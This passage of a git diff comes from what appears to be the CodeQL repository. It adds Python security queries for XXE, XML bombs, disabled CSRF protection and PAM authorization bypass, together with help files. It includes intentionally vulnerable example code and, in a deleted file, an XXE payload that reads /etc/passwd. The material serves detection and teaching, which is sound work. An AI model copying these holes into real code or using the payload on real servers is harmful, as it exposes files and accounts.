     lbl = Epsilon() and q2 = Accept(getRoot(dollar))
diff --git a/python/ql/lib/semmle/python/security/performance/ReDoSUtilSpecific.qll b/python/ql/lib/semmle/python/security/performance/ReDoSUtilSpecific.qll
index 4193fd5a1e5..bc495f88c3c 100644
--- a/python/ql/lib/semmle/python/security/performance/ReDoSUtilSpecific.qll
+++ b/python/ql/lib/semmle/python/security/performance/ReDoSUtilSpecific.qll
@@ -13,6 +13,24 @@ predicate isEscapeClass(RegExpTerm term, string clazz) {
   exists(RegExpCharacterClassEscape escape | term = escape | escape.getValue() = clazz)
 }
 
+/**
+ * Holds if `term` is a possessive quantifier.
+ * As python's regexes do not support possessive quantifiers, this never holds, but is used by the shared library.
+ */
+predicate isPossessive(RegExpQuantifier term) { none() }
+
+/**
+ * Holds if the regex that `term` is part of is used in a way that ignores any leading prefix of the input it's matched against.
+ * Not yet implemented for Python.
+ */
+predicate matchesAnyPrefix(RegExpTerm term) { any() }
+
+/**
+ * Holds if the regex that `term` is part of is used in a way that ignores any trailing suffix of the input it's matched against.
+ * Not yet implemented for Python.
+ */
+predicate matchesAnySuffix(RegExpTerm term) { any() }
+
 /**
  * Holds if the regular expression should not be considered.
  *
diff --git a/python/ql/lib/semmle/python/security/strings/External.qll b/python/ql/lib/semmle/python/security/strings/External.qll
index 48b61666143..a5116e42e4e 100644
--- a/python/ql/lib/semmle/python/security/strings/External.qll
+++ b/python/ql/lib/semmle/python/security/strings/External.qll
@@ -35,7 +35,7 @@ deprecated class ExternalStringSequenceKind extends SequenceKind {
 }
 
 /**
- * An hierachical dictionary or list where the entire structure is externally controlled
+ * An hierarchical dictionary or list where the entire structure is externally controlled
  * This is typically a parsed JSON object.
  */
 deprecated class ExternalJsonKind extends TaintKind {
diff --git a/python/ql/src/CHANGELOG.md b/python/ql/src/CHANGELOG.md
index f627fbb9c56..a0c725aeb08 100644
--- a/python/ql/src/CHANGELOG.md
+++ b/python/ql/src/CHANGELOG.md
@@ -1,3 +1,13 @@
+## 0.1.2
+
+### New Queries
+
+* "XML external entity expansion" (`py/xxe`). Results will appear by default. This query was based on [an experimental query by @jorgectf](https://github.com/github/codeql/pull/6112).
+* "XML internal entity expansion" (`py/xml-bomb`). Results will appear by default. This query was based on [an experimental query by @jorgectf](https://github.com/github/codeql/pull/6112).
+* The query "CSRF protection weakened or disabled" (`py/csrf-protection-disabled`) has been implemented. Its results will now appear by default.
+
+## 0.1.1
+
 ## 0.1.0
 
 ## 0.0.13
diff --git a/python/ql/src/Security/CWE-022/TarSlip.ql b/python/ql/src/Security/CWE-022/TarSlip.ql
index b8365b0f53a..76d799a0aca 100644
--- a/python/ql/src/Security/CWE-022/TarSlip.ql
+++ b/python/ql/src/Security/CWE-022/TarSlip.ql
@@ -81,11 +81,11 @@ class ExcludeTarFilePy extends Sanitizer {
 
 /* Any call to an extractall method */
 class ExtractAllSink extends TaintSink {
-  CallNode call;
-
   ExtractAllSink() {
-    this = call.getFunction().(AttrNode).getObject("extractall") and
-    count(call.getAnArg()) = 0
+    exists(CallNode call |
+      this = call.getFunction().(AttrNode).getObject("extractall") and
+      not exists(call.getAnArg())
+    )
   }
 
   override predicate sinks(TaintKind kind) { kind instanceof OpenTarFile }
diff --git a/python/ql/src/Security/CWE-352/CSRFProtectionDisabled.qhelp b/python/ql/src/Security/CWE-352/CSRFProtectionDisabled.qhelp
new file mode 100644
index 00000000000..51745c11632
--- /dev/null
+++ b/python/ql/src/Security/CWE-352/CSRFProtectionDisabled.qhelp
@@ -0,0 +1,60 @@
+<!DOCTYPE qhelp PUBLIC
+ "-//Semmle//qhelp//EN"
+ "qhelp.dtd">
+<qhelp>
+
+  <overview>
+    <p>
+      Cross-site request forgery (CSRF) is a type of vulnerability in which an
+      attacker is able to force a user to carry out an action that the user did
+      not intend.
+    </p>
+
+    <p>
+      The attacker tricks an authenticated user into submitting a request to the
+      web application. Typically this request will result in a state change on
+      the server, such as changing the user's password. The request can be
+      initiated when the user visits a site controlled by the attacker. If the
+      web application relies only on cookies for authentication, or on other
+      credentials that are automatically included in the request, then this
+      request will appear as legitimate to the server.
+    </p>
+
+    <p>
+      A common countermeasure for CSRF is to generate a unique token to be
+      included in the HTML sent from the server to a user. This token can be
+      used as a hidden field to be sent back with requests to the server, where
+      the server can then check that the token is valid and associated with the
+      relevant user session.
+    </p>
+  </overview>
+
+  <recommendation>
+    <p>
+      In many web frameworks, CSRF protection is enabled by default. In these
+      cases, using the default configuration is sufficient to guard against most
+      CSRF attacks.
+    </p>
+  </recommendation>
+
+  <example>
+    <p>
+      The following example shows a case where CSRF protection is disabled by
+      overriding the default middleware stack and not including the one protecting against CSRF.
+    </p>
+
+    <sample src="examples/settings.py"/>
+
+    <p>
+      The protecting middleware was probably commented out during a testing phase, when server-side token generation was not set up.
+      Simply commenting it back in will enable CSRF protection.
+    </p>
+
+  </example>
+
+  <references>
+    <li>Wikipedia: <a href="https://en.wikipedia.org/wiki/Cross-site_request_forgery">Cross-site request forgery</a></li>
+    <li>OWASP: <a href="https://owasp.org/www-community/attacks/csrf">Cross-site request forgery</a></li>
+  </references>
+
+</qhelp>
diff --git a/python/ql/src/Security/CWE-352/CSRFProtectionDisabled.ql b/python/ql/src/Security/CWE-352/CSRFProtectionDisabled.ql
new file mode 100644
index 00000000000..36a4e315ffc
--- /dev/null
+++ b/python/ql/src/Security/CWE-352/CSRFProtectionDisabled.ql
@@ -0,0 +1,37 @@
+/**
+ * @name CSRF protection weakened or disabled
+ * @description Disabling or weakening CSRF protection may make the application
+ *              vulnerable to a Cross-Site Request Forgery (CSRF) attack.
+ * @kind problem
+ * @problem.severity warning
+ * @security-severity 8.8
+ * @precision high
+ * @id py/csrf-protection-disabled
+ * @tags security
+ *       external/cwe/cwe-352
+ */
+
+import python
+import semmle.python.Concepts
+
+predicate relevantSetting(HTTP::Server::CsrfProtectionSetting s) {
+  // rule out test code as this is a common place to turn off CSRF protection.
+  // We don't use normal `TestScope` to find test files, since we also want to match
+  // a settings file such as `.../integration-tests/settings.py`
+  not s.getLocation().getFile().getAbsolutePath().matches("%test%")
+}
+
+predicate vulnerableSetting(HTTP::Server::CsrfProtectionSetting s) {
+  s.getVerificationSetting() = false and
+  not exists(HTTP::Server::CsrfLocalProtectionSetting p | p.csrfEnabled()) and
+  relevantSetting(s)
+}
+
+from HTTP::Server::CsrfProtectionSetting setting
+where
+  vulnerableSetting(setting) and
+  // We have seen examples of dummy projects with vulnerable settings alongside a main
+  // project with a protecting settings file. We want to rule out this scenario, so we
+  // require all non-test settings to be vulnerable.
+  forall(HTTP::Server::CsrfProtectionSetting s | relevantSetting(s) | vulnerableSetting(s))
+select setting, "Potential CSRF vulnerability due to forgery protection being disabled or weakened."
diff --git a/python/ql/src/Security/CWE-352/examples/settings.py b/python/ql/src/Security/CWE-352/examples/settings.py
new file mode 100644
index 00000000000..d1f1f983cef
--- /dev/null
+++ b/python/ql/src/Security/CWE-352/examples/settings.py
@@ -0,0 +1,9 @@
+MIDDLEWARE = [
+    'django.middleware.security.SecurityMiddleware',
+    'django.contrib.sessions.middleware.SessionMiddleware',
+    'django.middleware.common.CommonMiddleware',
+    # 'django.middleware.csrf.CsrfViewMiddleware',
+    'django.contrib.auth.middleware.AuthenticationMiddleware',
+    'django.contrib.messages.middleware.MessageMiddleware',
+    'django.middleware.clickjacking.XFrameOptionsMiddleware',
+]
diff --git a/python/ql/src/Security/CWE-611/Xxe.qhelp b/python/ql/src/Security/CWE-611/Xxe.qhelp
new file mode 100644
index 00000000000..19bbc955fd6
--- /dev/null
+++ b/python/ql/src/Security/CWE-611/Xxe.qhelp
@@ -0,0 +1,74 @@
+<!DOCTYPE qhelp PUBLIC "-//Semmle//qhelp//EN" "qhelp.dtd">
+<qhelp>
+
+<overview>
+<p>
+Parsing untrusted XML files with a weakly configured XML parser may lead to an
+XML External Entity (XXE) attack. This type of attack uses external entity references
+to access arbitrary files on a system, carry out denial-of-service (DoS) attacks, or server-side
+request forgery. Even when the result of parsing is not returned to the user, DoS attacks are still possible
+and out-of-band data retrieval techniques may allow attackers to steal sensitive data.
+</p>
+</overview>
+
+<recommendation>
+<p>
+The easiest way to prevent XXE attacks is to disable external entity handling when
+parsing untrusted data. How this is done depends on the library being used. Note that some
+libraries, such as recent versions of the XML libraries in the standard library of Python 3,
+disable entity expansion by default,
+so unless you have explicitly enabled entity expansion, no further action needs to be taken.
+</p>
+
+<p>
+We recommend using the <a href="https://pypi.org/project/defusedxml/">defusedxml</a>
+PyPI package, which has been created to prevent XML attacks (both XXE and XML bombs).
+</p>
+</recommendation>
+
+<example>
+<p>
+The following example uses the <code>lxml</code> XML parser to parse a string
+<code>xml_src</code>. That string is from an untrusted source, so this code is
+vulnerable to an XXE attack, since the <a href="https://lxml.de/apidoc/lxml.etree.html#lxml.etree.XMLParser">
+default parser</a> from <code>lxml.etree</code> allows local external entities to be resolved.
+</p>
+<sample src="examples/XxeBad.py"/>
+
+<p>
+To guard against XXE attacks with the <code>lxml</code> library, you should create a
+parser with <code>resolve_entities</code> set to <code>false</code>. This means that no
+entity expansion is undertaken, althuogh standard predefined entities such as
+<code>&amp;gt;</code>, for writing <code>&gt;</code> inside the text of an XML element,
+are still allowed.
+</p>
+<sample src="examples/XxeGood.py"/>
+</example>
+
+<references>
+<li>
+OWASP:
+<a href="https://www.owasp.org/index.php/XML_External_Entity_(XXE)_Processing">XML External Entity (XXE) Processing</a>.
+</li>
+<li>
+Timothy Morgen:
+<a href="https://research.nccgroup.com/2014/05/19/xml-schema-dtd-and-entity-attacks-a-compendium-of-known-techniques/">XML Schema, DTD, and Entity Attacks</a>.
+</li>
+<li>
+Timur Yunusov, Alexey Osipov:
+<a href="https://www.slideshare.net/qqlan/bh-ready-v4">XML Out-Of-Band Data Retrieval</a>.
+</li>
+<li>
+Python 3 standard library:
+<a href="https://docs.python.org/3/library/xml.html#xml-vulnerabilities">XML Vulnerabilities</a>.
+</li>
+<li>
+Python 2 standard library:
+<a href="https://docs.python.org/2/library/xml.html#xml-vulnerabilities">XML Vulnerabilities</a>.
+</li>
+<li>
+PortSwigger:
+<a href="https://portswigger.net/web-security/xxe">XML external entity (XXE) injection</a>.
+</li>
+</references>
+</qhelp>
diff --git a/python/ql/src/Security/CWE-611/Xxe.ql b/python/ql/src/Security/CWE-611/Xxe.ql
new file mode 100644
index 00000000000..5cc6da25467
--- /dev/null
+++ b/python/ql/src/Security/CWE-611/Xxe.ql
@@ -0,0 +1,23 @@
+/**
+ * @name XML external entity expansion
+ * @description Parsing user input as an XML document with external
+ *              entity expansion is vulnerable to XXE attacks.
+ * @kind path-problem
+ * @problem.severity error
+ * @security-severity 9.1
+ * @precision high
+ * @id py/xxe
+ * @tags security
+ *       external/cwe/cwe-611
+ *       external/cwe/cwe-827
+ */
+
+import python
+import semmle.python.security.dataflow.XxeQuery
+import DataFlow::PathGraph
+
+from Configuration cfg, DataFlow::PathNode source, DataFlow::PathNode sink
+where cfg.hasFlowPath(source, sink)
+select sink.getNode(), source, sink,
+  "A $@ is parsed as XML without guarding against external entity expansion.", source.getNode(),
+  "user-provided value"
diff --git a/python/ql/src/Security/CWE-611/examples/XxeBad.py b/python/ql/src/Security/CWE-611/examples/XxeBad.py
new file mode 100644
index 00000000000..4b2121ab4a6
--- /dev/null
+++ b/python/ql/src/Security/CWE-611/examples/XxeBad.py
@@ -0,0 +1,10 @@
+from flask import Flask, request
+import lxml.etree
+
+app = Flask(__name__)
+
+@app.post("/upload")
+def upload():
+    xml_src = request.get_data()
+    doc = lxml.etree.fromstring(xml_src)
+    return lxml.etree.tostring(doc)
diff --git a/python/ql/src/Security/CWE-611/examples/XxeGood.py b/python/ql/src/Security/CWE-611/examples/XxeGood.py
new file mode 100644
index 00000000000..20844032fa3
--- /dev/null
+++ b/python/ql/src/Security/CWE-611/examples/XxeGood.py
@@ -0,0 +1,11 @@
+from flask import Flask, request
+import lxml.etree
+
+app = Flask(__name__)
+
+@app.post("/upload")
+def upload():
+    xml_src = request.get_data()
+    parser = lxml.etree.XMLParser(resolve_entities=False)
+    doc = lxml.etree.fromstring(xml_src, parser=parser)
+    return lxml.etree.tostring(doc)
diff --git a/python/ql/src/Security/CWE-776/XmlBomb.qhelp b/python/ql/src/Security/CWE-776/XmlBomb.qhelp
new file mode 100644
index 00000000000..8841f98ab27
--- /dev/null
+++ b/python/ql/src/Security/CWE-776/XmlBomb.qhelp
@@ -0,0 +1,74 @@
+<!DOCTYPE qhelp PUBLIC "-//Semmle//qhelp//EN" "qhelp.dtd">
+<qhelp>
+
+<overview>
+<p>
+Parsing untrusted XML files with a weakly configured XML parser may be vulnerable to
+denial-of-service (DoS) attacks exploiting uncontrolled internal entity expansion.
+</p>
+<p>
+In XML, so-called <i>internal entities</i> are a mechanism for introducing an abbreviation
+for a piece of text or part of a document. When a parser that has been configured
+to expand entities encounters a reference to an internal entity, it replaces the entity
+by the data it represents. The replacement text may itself contain other entity references,
+which are expanded recursively. This means that entity expansion can increase document size
+dramatically.
+</p>
+<p>
+If untrusted XML is parsed with entity expansion enabled, a malicious attacker could
+submit a document that contains very deeply nested entity definitions, causing the parser
+to take a very long time or use large amounts of memory. This is sometimes called an
+<i>XML bomb</i> attack.
+</p>
+</overview>
+
+<recommendation>
+<p>
+The safest way to prevent XML bomb attacks is to disable entity expansion when parsing untrusted
+data. Whether this can be done depends on the library being used. Note that some libraries, such as
+<code>lxml</code>, have measures enabled by default to prevent such DoS XML attacks, so
+unless you have explicitly set <code>huge_tree</code> to <code>True</code>, no further action is needed.
+</p>
+
+<p>
+We recommend using the <a href="https://pypi.org/project/defusedxml/">defusedxml</a>
+PyPI package, which has been created to prevent XML attacks (both XXE and XML bombs).
+</p>
+</recommendation>
+
+<example>
+<p>
+The following example uses the <code>xml.etree</code> XML parser provided by the Python standard library to
+parse a string <code>xml_src</code>. That string is from an untrusted source, so this code is
+vulnerable to a DoS attack, since the <code>xml.etree</code> XML parser expands internal entities by default:
+</p>
+<sample src="examples/XmlBombBad.py"/>
+
+<p>
+It is not possible to guard against internal entity expansion with
+<code>xml.etree</code>, so to guard against these attacks, the following example uses
+the <a href="https://pypi.org/project/defusedxml/">defusedxml</a>
+PyPI package instead, which is not exposed to such internal entity expansion attacks.
+</p>
+<sample src="examples/XmlBombGood.py"/>
+</example>
+
+<references>
+<li>
+Wikipedia:
+<a href="https://en.wikipedia.org/wiki/Billion_laughs">Billion Laughs</a>.
+</li>
+<li>
+Bryan Sullivan:
+<a href="https://msdn.microsoft.com/en-us/magazine/ee335713.aspx">Security Briefs - XML Denial of Service Attacks and Defenses</a>.
+</li>
+<li>
+Python 3 standard library:
+<a href="https://docs.python.org/3/library/xml.html#xml-vulnerabilities">XML Vulnerabilities</a>.
+</li>
+<li>
+Python 2 standard library:
+<a href="https://docs.python.org/2/library/xml.html#xml-vulnerabilities">XML Vulnerabilities</a>.
+</li>
+</references>
+</qhelp>
diff --git a/python/ql/src/Security/CWE-776/XmlBomb.ql b/python/ql/src/Security/CWE-776/XmlBomb.ql
new file mode 100644
index 00000000000..54d483db17e
--- /dev/null
+++ b/python/ql/src/Security/CWE-776/XmlBomb.ql
@@ -0,0 +1,23 @@
+/**
+ * @name XML internal entity expansion
+ * @description Parsing user input as an XML document with arbitrary internal
+ *              entity expansion is vulnerable to denial-of-service attacks.
+ * @kind path-problem
+ * @problem.severity warning
+ * @security-severity 7.5
+ * @precision high
+ * @id py/xml-bomb
+ * @tags security
+ *       external/cwe/cwe-776
+ *       external/cwe/cwe-400
+ */
+
+import python
+import semmle.python.security.dataflow.XmlBombQuery
+import DataFlow::PathGraph
+
+from Configuration cfg, DataFlow::PathNode source, DataFlow::PathNode sink
+where cfg.hasFlowPath(source, sink)
+select sink.getNode(), source, sink,
+  "A $@ is parsed as XML without guarding against uncontrolled entity expansion.", source.getNode(),
+  "user-provided value"
diff --git a/python/ql/src/Security/CWE-776/examples/XmlBombBad.py b/python/ql/src/Security/CWE-776/examples/XmlBombBad.py
new file mode 100644
index 00000000000..d52054d9492
--- /dev/null
+++ b/python/ql/src/Security/CWE-776/examples/XmlBombBad.py
@@ -0,0 +1,10 @@
+from flask import Flask, request
+import xml.etree.ElementTree as ET
+
+app = Flask(__name__)
+
+@app.post("/upload")
+def upload():
+    xml_src = request.get_data()
+    doc = ET.fromstring(xml_src)
+    return ET.tostring(doc)
diff --git a/python/ql/src/Security/CWE-776/examples/XmlBombGood.py b/python/ql/src/Security/CWE-776/examples/XmlBombGood.py
new file mode 100644
index 00000000000..5e4261e35da
--- /dev/null
+++ b/python/ql/src/Security/CWE-776/examples/XmlBombGood.py
@@ -0,0 +1,10 @@
+from flask import Flask, request
+import defusedxml.ElementTree as ET
+
+app = Flask(__name__)
+
+@app.post("/upload")
+def upload():
+    xml_src = request.get_data()
+    doc = ET.fromstring(xml_src)
+    return ET.tostring(doc)
diff --git a/python/ql/src/analysis/Consistency.ql b/python/ql/src/analysis/Consistency.ql
index adaf8d2edba..d6f1bbc32c5 100644
--- a/python/ql/src/analysis/Consistency.ql
+++ b/python/ql/src/analysis/Consistency.ql
@@ -194,7 +194,7 @@ predicate function_object_consistency(string clsname, string problem, string wha
   exists(FunctionObject func | clsname = func.getAQlClass() |
     what = func.getName() and
     (
-      count(func.descriptiveString()) = 0 and problem = "no descriptiveString()"
+      not exists(func.descriptiveString()) and problem = "no descriptiveString()"
       or
       exists(int c | c = strictcount(func.descriptiveString()) and c > 1 |
         problem = c + "descriptiveString()s"
diff --git a/python/ql/src/change-notes/released/0.1.1.md b/python/ql/src/change-notes/released/0.1.1.md
new file mode 100644
index 00000000000..f8f257d7250
--- /dev/null
+++ b/python/ql/src/change-notes/released/0.1.1.md
@@ -0,0 +1 @@
+## 0.1.1
diff --git a/python/ql/src/change-notes/released/0.1.2.md b/python/ql/src/change-notes/released/0.1.2.md
new file mode 100644
index 00000000000..04e3e8b97af
--- /dev/null
+++ b/python/ql/src/change-notes/released/0.1.2.md
@@ -0,0 +1,7 @@
+## 0.1.2
+
+### New Queries
+
+* "XML external entity expansion" (`py/xxe`). Results will appear by default. This query was based on [an experimental query by @jorgectf](https://github.com/github/codeql/pull/6112).
+* "XML internal entity expansion" (`py/xml-bomb`). Results will appear by default. This query was based on [an experimental query by @jorgectf](https://github.com/github/codeql/pull/6112).
+* The query "CSRF protection weakened or disabled" (`py/csrf-protection-disabled`) has been implemented. Its results will now appear by default.
diff --git a/python/ql/src/codeql-pack.release.yml b/python/ql/src/codeql-pack.release.yml
index 2e08f40f6aa..6abd14b1ef8 100644
--- a/python/ql/src/codeql-pack.release.yml
+++ b/python/ql/src/codeql-pack.release.yml
@@ -1,2 +1,2 @@
 ---
-lastReleaseVersion: 0.1.0
+lastReleaseVersion: 0.1.2
diff --git a/python/ql/src/experimental/Security/CWE-285/PamAuthorization.qhelp b/python/ql/src/experimental/Security/CWE-285/PamAuthorization.qhelp
new file mode 100644
index 00000000000..8e0f829f33e
--- /dev/null
+++ b/python/ql/src/experimental/Security/CWE-285/PamAuthorization.qhelp
@@ -0,0 +1,49 @@
+<!DOCTYPE qhelp PUBLIC "-//Semmle//qhelp//EN" "qhelp.dtd">
+<qhelp>
+  <overview>
+    <p>
+      Using only a call to
+      <code>pam_authenticate</code>
+      to check the validity of a login can lead to authorization bypass vulnerabilities.
+    </p>
+    <p>
+      A
+      <code>pam_authenticate</code>
+      only verifies the credentials of a user. It does not check if a user has an appropriate authorization to actually login. This means a user with a expired login or a password can still access the system.
+    </p>
+
+  </overview>
+
+  <recommendation>
+    <p>
+      A call to
+      <code>pam_authenticate</code>
+      should be followed by a call to
+      <code>pam_acct_mgmt</code>
+      to check if a user is allowed to login.
+    </p>
+  </recommendation>
+
+  <example>
+    <p>
+      In the following example, the code only checks the credentials of a user. Hence, in this case, a user expired with expired creds can still login. This can be verified by creating a new user account, expiring it with
+      <code>chage -E0 `username` </code>
+      and then trying to log in.
+    </p>
+    <sample src="PamAuthorizationBad.py" />
+
+    <p>
+      This can be avoided by calling
+      <code>pam_acct_mgmt</code>
+      call to verify access as has been done in the snippet shown below.
+    </p>
+    <sample src="PamAuthorizationGood.py" />
+  </example>
+
+  <references>
+    <li>
+      Man-Page:
+      <a href="https://man7.org/linux/man-pages/man3/pam_acct_mgmt.3.html">pam_acct_mgmt</a>
+    </li>
+  </references>
+</qhelp>
\ No newline at end of file
diff --git a/python/ql/src/experimental/Security/CWE-285/PamAuthorization.ql b/python/ql/src/experimental/Security/CWE-285/PamAuthorization.ql
new file mode 100644
index 00000000000..67be2fdd8ab
--- /dev/null
+++ b/python/ql/src/experimental/Security/CWE-285/PamAuthorization.ql
@@ -0,0 +1,36 @@
+/**
+ * @name Authorization bypass due to incorrect usage of PAM
+ * @description Using only the `pam_authenticate` call to check the validity of a login can lead to a authorization bypass.
+ * @kind problem
+ * @problem.severity warning
+ * @precision high
+ * @id py/pam-auth-bypass
+ * @tags security
+ *       external/cwe/cwe-285
+ */
+
+import python
+import semmle.python.ApiGraphs
+import experimental.semmle.python.Concepts
+import semmle.python.dataflow.new.TaintTracking
+
+API::Node libPam() {
+  exists(API::CallNode findLibCall, API::CallNode cdllCall |
+    findLibCall = API::moduleImport("ctypes").getMember("util").getMember("find_library").getACall() and
+    findLibCall.getParameter(0).getAValueReachingRhs().asExpr().(StrConst).getText() = "pam" and
+    cdllCall = API::moduleImport("ctypes").getMember("CDLL").getACall() and
+    cdllCall.getParameter(0).getAValueReachingRhs() = findLibCall
+  |
+    result = cdllCall.getReturn()
+  )
+}
+
+from API::CallNode authenticateCall, DataFlow::Node handle
+where
+  authenticateCall = libPam().getMember("pam_authenticate").getACall() and
+  handle = authenticateCall.getArg(0) and
+  not exists(API::CallNode acctMgmtCall |
+    acctMgmtCall = libPam().getMember("pam_acct_mgmt").getACall() and
+    DataFlow::localFlow(handle, acctMgmtCall.getArg(0))
+  )
+select authenticateCall, "This PAM authentication call may be lead to an authorization bypass."
diff --git a/python/ql/src/experimental/Security/CWE-285/PamAuthorizationBad.py b/python/ql/src/experimental/Security/CWE-285/PamAuthorizationBad.py
new file mode 100644
index 00000000000..257f9b99729
--- /dev/null
+++ b/python/ql/src/experimental/Security/CWE-285/PamAuthorizationBad.py
@@ -0,0 +1,13 @@
+def authenticate(self, username, password, service='login', encoding='utf-8', resetcreds=True):
+  libpam                    = CDLL(find_library("pam"))
+  pam_authenticate          = libpam.pam_authenticate
+  pam_authenticate.restype  = c_int
+  pam_authenticate.argtypes = [PamHandle, c_int]
+
+  
+  handle = PamHandle()
+  conv   = PamConv(my_conv, 0)
+  retval = pam_start(service, username, byref(conv), byref(handle))
+
+  retval = pam_authenticate(handle, 0)  
+  return retval == 0
\ No newline at end of file
diff --git a/python/ql/src/experimental/Security/CWE-285/PamAuthorizationGood.py b/python/ql/src/experimental/Security/CWE-285/PamAuthorizationGood.py
new file mode 100644
index 00000000000..0f047c6ac65
--- /dev/null
+++ b/python/ql/src/experimental/Security/CWE-285/PamAuthorizationGood.py
@@ -0,0 +1,17 @@
+def authenticate(self, username, password, service='login', encoding='utf-8', resetcreds=True):
+  libpam                    = CDLL(find_library("pam"))
+  pam_authenticate          = libpam.pam_authenticate
+  pam_acct_mgmt          = libpam.pam_acct_mgmt
+  pam_authenticate.restype  = c_int
+  pam_authenticate.argtypes = [PamHandle, c_int]
+  pam_acct_mgmt.restype  = c_int
+  pam_acct_mgmt.argtypes = [PamHandle, c_int]
+  
+  handle = PamHandle()
+  conv   = PamConv(my_conv, 0)
+  retval = pam_start(service, username, byref(conv), byref(handle))
+
+  retval = pam_authenticate(handle, 0)
+  if retval == 0:
+      retval = pam_acct_mgmt(handle, 0)
+  return retval == 0
\ No newline at end of file
diff --git a/python/ql/src/experimental/Security/CWE-611/SimpleXmlRpcServer.ql b/python/ql/src/experimental/Security/CWE-611/SimpleXmlRpcServer.ql
index cda0633690c..e31fdc88629 100644
--- a/python/ql/src/experimental/Security/CWE-611/SimpleXmlRpcServer.ql
+++ b/python/ql/src/experimental/Security/CWE-611/SimpleXmlRpcServer.ql
@@ -10,16 +10,10 @@
  */
 
 private import python
-private import experimental.semmle.python.Concepts
+private import semmle.python.Concepts
 private import semmle.python.ApiGraphs
 
-from DataFlow::CallCfgNode call, string kinds
+from DataFlow::CallCfgNode call
 where
-  call = API::moduleImport("xmlrpc").getMember("server").getMember("SimpleXMLRPCServer").getACall() and
-  kinds =
-    strictconcat(ExperimentalXML::XMLVulnerabilityKind kind |
-      kind.isBillionLaughs() or kind.isQuadraticBlowup()
-    |
-      kind, ", "
-    )
-select call, "SimpleXMLRPCServer is vulnerable to: " + kinds + "."
+  call = API::moduleImport("xmlrpc").getMember("server").getMember("SimpleXMLRPCServer").getACall()
+select call, "SimpleXMLRPCServer is vulnerable to XML bombs"
diff --git a/python/ql/src/experimental/Security/CWE-611/XXE.xml b/python/ql/src/experimental/Security/CWE-611/XXE.xml
deleted file mode 100644
index ddd196f2f13..00000000000
--- a/python/ql/src/experimental/Security/CWE-611/XXE.xml
+++ /dev/null
@@ -1,4 +0,0 @@
-<?xml version="1.0"?>
-<!DOCTYPE dt [
-<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
-<test>&xxe;</test>
\ No newline at end of file
diff --git a/python/ql/src/experimental/Security/CWE-611/XmlEntityInjection.py b/python/ql/src/experimental/Security/CWE-611/XmlEntityInjection.py
deleted file mode 100644
index 0e9eec933d7..00000000000
--- a/python/ql/src/experimental/Security/CWE-611/XmlEntityInjection.py
+++ /dev/null
@@ -1,25 +0,0 @@
-from flask import request, Flask
-import lxml.etree
-import xml.etree.ElementTree
-
-app = Flask(__name__)
-
-# BAD
-@app.route("/bad")
-def bad():
-    xml_content = request.args['xml_content']
-
-    parser = lxml.etree.XMLParser()
-    parsed_xml = xml.etree.ElementTree.fromstring(xml_content, parser=parser)
-
-    return parsed_xml.text
-
-# GOOD
-@app.route("/good")
-def good():
-    xml_content = request.args['xml_content']
-
-    parser = lxml.etree.XMLParser(resolve_entities=False)
-    parsed_xml = xml.etree.ElementTree.fromstring(xml_content, parser=parser)
-
-    return parsed_xml.text
\ No newline at end of file
diff --git a/python/ql/src/experimental/Security/CWE-611/XmlEntityInjection.qhelp b/python/ql/src/experimental/Security/CWE-611/XmlEntityInjection.qhelp
deleted file mode 100644
index 6da1bf1d306..00000000000
--- a/python/ql/src/experimental/Security/CWE-611/XmlEntityInjection.qhelp
+++ /dev/null
@@ -1,48 +0,0 @@
-<!DOCTYPE qhelp PUBLIC
-  "-//Semmle//qhelp//EN"
-  "qhelp.dtd">
-<qhelp>
-
-<overview>
-<p>
-Parsing untrusted XML files with a weakly configured XML parser may lead to attacks such as XML External Entity (XXE),
-Billion Laughs, Quadratic Blowup and DTD retrieval.
-This type of attack uses external entity references to access arbitrary files on a system, carry out denial of
-service, or server side request forgery. Even when the result of parsing is not returned to the user, out-of-band
-data retrieval techniques may allow attackers to steal sensitive data. Denial of services can also be carried out
-in this situation.
-</p>
-</overview>
-
-<recommendation>
-<p>
-Use <a href="https://pypi.org/project/defusedxml/">defusedxml</a>, a Python package aimed
-to prevent any potentially malicious operation.
-</p>
-</recommendation>
-
-<example>
-<p>
-The following example calls <code>xml.etree.ElementTree.fromstring</code> using a parser (<code>lxml.etree.XMLParser</code>)
-that is not safely configured on untrusted data, and is therefore inherently unsafe.
-</p>
-<sample src="XmlEntityInjection.py"/>
-<p>
-Providing an input (<code>xml_content</code>) like the following XML content against /bad, the request response would contain the contents of
-<code>/etc/passwd</code>.
-</p>
-<sample src="XXE.xml"/>
-</example>
-
-<references>
-<li>Python 3 <a href="https://docs.python.org/3/library/xml.html#xml-vulnerabilities">XML Vulnerabilities</a>.</li>
-<li>Python 2 <a href="https://docs.python.org/2/library/xml.html#xml-vulnerabilities">XML Vulnerabilities</a>.</li>
-<li>Python <a href="https://www.edureka.co/blog/python-xml-parser-tutorial/">XML Parsing</a>.</li>
-<li>OWASP vulnerability description: <a href="https://www.owasp.org/index.php/XML_External_Entity_(XXE)_Processing">XML External Entity (XXE) Processing</a>.</li>
-<li>OWASP guidance on parsing xml files: <a href="https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html#python">XXE Prevention Cheat Sheet</a>.</li>
-<li>Paper by Timothy Morgen: <a href="https://research.nccgroup.com/2014/05/19/xml-schema-dtd-and-entity-attacks-a-compendium-of-known-techniques/">XML Schema, DTD, and Entity Attacks</a></li>
-<li>Out-of-band data retrieval: Timur Yunusov &amp; Alexey Osipov, Black hat EU 2013: <a href="https://www.slideshare.net/qqlan/bh-ready-v4">XML Out-Of-Band Data Retrieval</a>.</li>
-<li>Denial of service attack (Billion laughs): <a href="https://en.wikipedia.org/wiki/Billion_laughs">Billion Laughs.</a></li>
-</references>
-
-</qhelp>
diff --git a/python/ql/src/experimental/Security/CWE-611/XmlEntityInjection.ql b/python/ql/src/experimental/Security/CWE-611/XmlEntityInjection.ql
deleted file mode 100644
index 922ca346b17..00000000000
--- a/python/ql/src/experimental/Security/CWE-611/XmlEntityInjection.ql
+++ /dev/null
@@ -1,31 +0,0 @@
-/**
- * @name XML Entity injection
- * @description User input should not be parsed allowing the injection of entities.
- * @kind path-problem
- * @problem.severity error
- * @id py/xml-entity-injection
- * @tags security
- *       external/cwe/cwe-611
- *       external/cwe/cwe-776
- *       external/cwe/cwe-827
- */
-
-// determine precision above
-import python
-import experimental.semmle.python.security.dataflow.XmlEntityInjection
-import DataFlow::PathGraph
-
-from
-  XmlEntityInjection::XmlEntityInjectionConfiguration config, DataFlow::PathNode source,
-  DataFlow::PathNode sink, string kinds
-where
-  config.hasFlowPath(source, sink) and
-  kinds =
-    strictconcat(string kind |
